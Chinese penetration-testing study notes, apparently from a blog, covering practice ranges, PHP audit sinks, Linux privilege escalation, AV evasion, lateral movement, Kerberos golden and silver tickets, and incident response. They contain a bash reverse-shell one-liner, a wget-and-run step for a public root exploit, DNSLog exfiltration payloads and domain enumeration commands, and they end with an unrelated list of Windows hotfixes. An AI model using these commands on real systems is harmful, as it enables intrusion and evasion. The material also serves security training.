https://blog.csdn.net/m0_58199719/article/details/124271847 靶场系列
DoraBox
WebGoat
暗月靶场
vulnhub
hackthebox
HTB
cisp-pte 靶场
dvwa、webgoat、pikachu、SQLI-Labs、uploadlabs、bWAPP 装phpstudy就够了
writeObject和readObject。
sql语句位置
可控参数
寻找include、include_once、require、require_once;
找exec、shell_exec、popen、proc_popen、system、eval、assert 这些函数
找unserialize和serialize
php里面可以执行命令的函数
1、参数拼接方式皆有可能产生SQL注入(老生常谈)
2、全局变量注册导致的变量覆盖
3、fwrite参数未过滤导致的代码执行
4、权限校验疏漏导致的后台功能访问
5、接口任意文件上传
6、unserialize反序列化漏洞
提权漏洞
溢出提权
脏牛 内核 CVE-2016-5195
版本过高:目前主流linux版本均受影响 cve-2021-4034
Polkit 提权 cve-2021-4034
wget https://github.com/berdav/CVE-2021-4034
将文件下载到tmp文件中,然后make执行拿到root权限
Suid提权:普通用户去执行 root 权限的操作,而不需要知道 root 的密码
exp执行多半需要空格界定参数
简单字符串拼接
字符串函数
ucwords() //把每个单词的首字符转换为大写
ucfirst() //首字符转换为大写
trim() //移除字符串两侧的字符
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分
strtr() //函数转换字符串中特定的字符
strtoupper() //把所有字符转换为大写
strtolower() //把所有字符转换为小写
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码
chr() //从指定 ASCII 值返回字符
hex2bin() //把十六进制值转换为 ASCII 字符
bin2hex() //ASCII 字符的字符串转换为十六进制值
gzcompress()、gzdeflate()、gzencode() //字符串压缩
gzuncompress()、gzinflate()、gzdecode() //字符串解压
base64_encode() //base64编码
base64_decode() //nase64解码
pack() //数据装入一个二进制字符串
unpack() //从二进制字符串对数据进行解包
gzcompress系列
pack系列
加密函数与自写加密函数
openssl加密函数
反病毒技术,免于被查毒软件查杀
加冷门壳
加壳改壳
加花指令
原理跟改特征码差不多
本来是在0x00001000到0x00005000处找一个特征码。
但因为我们填充了花指令,
恶意代码跑到了0x00008000这个位置,就会导致特征码查杀失败,从而达到免杀目的。
1.bash反弹shell
Nc开启监听,然后通过bash进行反弹shell
bash -i >& /dev/tcp/IP/端口 0>&1
2.Msf反弹shell
Msf制作php木马,使用handler模块开始监听,反弹shell。
存储在DNS服务器上的域名信息,
它记录着用户对域名http://www.baidu.com等的访问信息,类似日志文件
通常用在
1.SQL盲注
2.无回显的XSS
3.无回显的命令执行
4.无回显的SSRF
网址
DNSLog Platform
http://ceye.io/records/dns
1.xss盲打
""
<ImG src=http://xss.9e5ehg.dnslog.cn>
2.SSRF
"... SSRF.xxxx.ceye.io\\aa"> ..."
3.命令执行
" ping %PATH%.http://pxxx.ceye.io ..."
攻击外网服务器、获取外网服务器的权限,
接着利用入侵成功的外网服务器作为跳板、横向扩展攻击内网其他服务器、
最后获取敏感数据
第一层外网web主机的meterpreter添加第二层的网络路由,
启用代理配置第二层网络。
利用第二层主机的meterpreter添加第三层的网络路由,
使用代理配置网络,设置端口(lcx、ew、socks)
网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域
TGT黄金票据
拿下域控后用来作权限维持的一种方式。因为krbtgt 域账户的密码基本不会更改。
利用条件:
krbtgt NTLM-Hash
域名称
域SID
白银票据不与密钥分发中心 KDC 交互,因此没有了 Kerberos 认证协议里的前 4 步。
白银票据是用服务账号密码的哈希值来伪造TGS,
生成伪造的服务票据 ST直接与服务器进行交互。
利用条件:
域名称
域的SID(普通用户的sid除去最后三位就是域的sid)
域中服务账户的NTLM哈希
伪造任意的用户名
域成员主机,定位出域控制器IP及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,
利用域管理员可以登陆域中任何成员主机的特性,
定位出域管理员登陆过的主机IP,设法从域成员主机内存中dump出域管理员密码,
进而拿下域控制器、渗透整个内网。
得到域控制器的IP:dsquery server
得到域控制器主机名:net group "domain controllers" /domain
查询域管理用户:net group "domain admins" /domain
查看所有域用户: net user /domain
隐藏文件夹,为了不让管理员发现你传上去的工具
1.准备
2.检测
3.抑制
4.根除
5.恢复
6.总结
明确资产范围对可能产生安全问题的 地方进行加固
日常的监控,收集系统信息日志
限制攻击的范围,设置隔离区
使用安全软件进行隔离,如果整台电脑完全沦陷,也可以考虑首先断网
通过入侵检测的方式来检测数据流
利用一些工具对病毒特征进行扫描分析和定位
系统和信息进行恢复还原,从可信任的备份中恢复还原系统配置,数据库等等
进行实时监控,确保无误的情况可适当去掉之前做的隔离等抑制等措施
Grep、关键词、关键函数、安全狗、D盾
从攻击者遗留下的信息进行反向
查找到攻击者的姓名,手机以及身份证号。
1.攻击源捕获
安全设备报警:扫描ip、威胁阻断、病毒木马等。
日志与流量分析:异常的通讯流量、攻击源与攻击目标。
服务器资源异常,异常的文件、账号、进程、服务等
钓鱼邮件:获取恶意文件样本、钓鱼网站url等
蜜罐系统:获取攻击者行为、意图的相关信息。
2.溯源反制手段
Ip定位技术:根据IP定位物理地址—代理IP
网站url:域名whois查询-注册人的姓名、地址、电话和邮箱
[209]: KB2742604 - QFE
[210]: KB2894845 - QFE
[211]: KB2978114 - QFE
[212]: KB3023211 - QFE
[213]: KB3037572 - QFE
[214]: KB933854 - QFE
[215]: KB979907 - QFE
[216]: IDNMitigationAPIs - Update
[217]: NLSDownlevelMapping - Update
[218]: KB975558_WM8
[219]: KB925398_WMP64
[220]: KB2564958 - Update
[221]: KB2115168 - Update
[222]: KB2229593 - Update
[223]: KB2347290 - Update
[224]: KB2378111 - Update
[225]: KB2387149 - Update
[226]: KB2419635 - Update
[227]: KB2423089 - Update
[228]: KB2443105 - Update
[229]: KB2476490 - Update
[230]: KB2478960 - Update
[231]: KB2478971 - Update
[232]: KB2483185 - Update
[233]: KB2485663 - Update
[234]: KB2492386 - Update
[235]: KB2506212 - Update
[236]: KB2507938 - Update
[237]: KB2508429 - Update
[238]: KB2509553 - Update
[239]: KB2510587 - Update
[240]: KB2535512 - Update
[241]: KB2536276-v2 - Update
[242]: KB2544893-v2 - Update
[243]: KB2566454 - Update
[244]: KB2570947 - Update
[245]: KB2584146 - Update
[246]: KB2598479 - Update
[247]: KB2603381 - Update
[248]: KB2620712 - Update
[249]: KB2631813 - Update
[250]: KB2638806 - Update
[251]: KB2653956 - Update
[252]: KB2655992 - Update
[253]: KB2659262 - Update
[254]: KB2676562 - Update
[255]: KB2685939 - Update
[256]: KB2686509 - Update
[257]: KB2691442 - Update